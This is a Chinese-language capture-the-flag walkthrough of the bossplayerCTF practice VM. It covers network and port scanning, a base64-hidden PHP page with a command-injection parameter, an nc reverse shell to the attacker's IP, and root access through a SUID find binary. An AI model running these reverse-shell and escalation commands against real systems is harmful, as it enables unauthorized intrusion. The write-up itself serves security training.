靶机bossplayerCTF

bossplayerCTF靶机

靶机扫

 arp-scan -interface eth0 192.168.199.0/24
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)

192.168.199.146	00:0c:29:5b:44:aa	VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.183 seconds (117.27 hosts/sec). 4 responded

端口扫描

nmap -sVC -p- 192.168.199.146

Starting Nmap 7.60 ( https://nmap.org ) at 2021-03-05 10:21 EST

root@kali:~# nmap -sVC  192.168.199.146

Starting Nmap 7.60 ( https://nmap.org ) at 2021-03-05 10:23 EST
Nmap scan report for 192.168.199.146
Host is up (0.00017s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey: 
|   2048 ac:0d:1e:71:40:ef:6e:65:91:95:8d:1c:13:13:8e:3e (RSA)
|   256 24:9e:27:18:df:a4:78:3b:0d:11:8a:92:72:bd:05:8d (ECDSA)
|_  256 26:32:8d:73:89:05:29:43:8e:a1:13:ba:4f:83:53:f8 (EdDSA)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:5B:44:AA (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.92 seconds

查看源码

判断是base64  用base64工具解密
<!--WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK-->

ZDI5eWEybHVaMmx1Y0hKdlozSmxjM011Y0dod0NnPT0K

d29ya2luZ2lucHJvZ3Jlc3MucGhwCg==

workinginprogress.php

访问

http://192.168.199.146/workinginprogress.php

发现可以执行远程命令执行漏洞
http://192.168.199.146/workinginprogress.php?cmd=id  发现显示id 

用nc 反弹shell  
http://192.168.199.146/workinginprogress.php?cmd= nc 192.168.199.140 8888 -e /bin/bash
nc -lvp 8888 连接端口 可以反弹shell

获得交互shell

python -c 'import  pty;pty.spawn("/bin/bash")'

查找具有suid 权限的文件

find  /     -perm -u=s -type f 2>/dev/null 

/usr/bin/mount
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/grep
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/find
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device

find提权 获得root

find . -exec /bin/sh -p \; -quit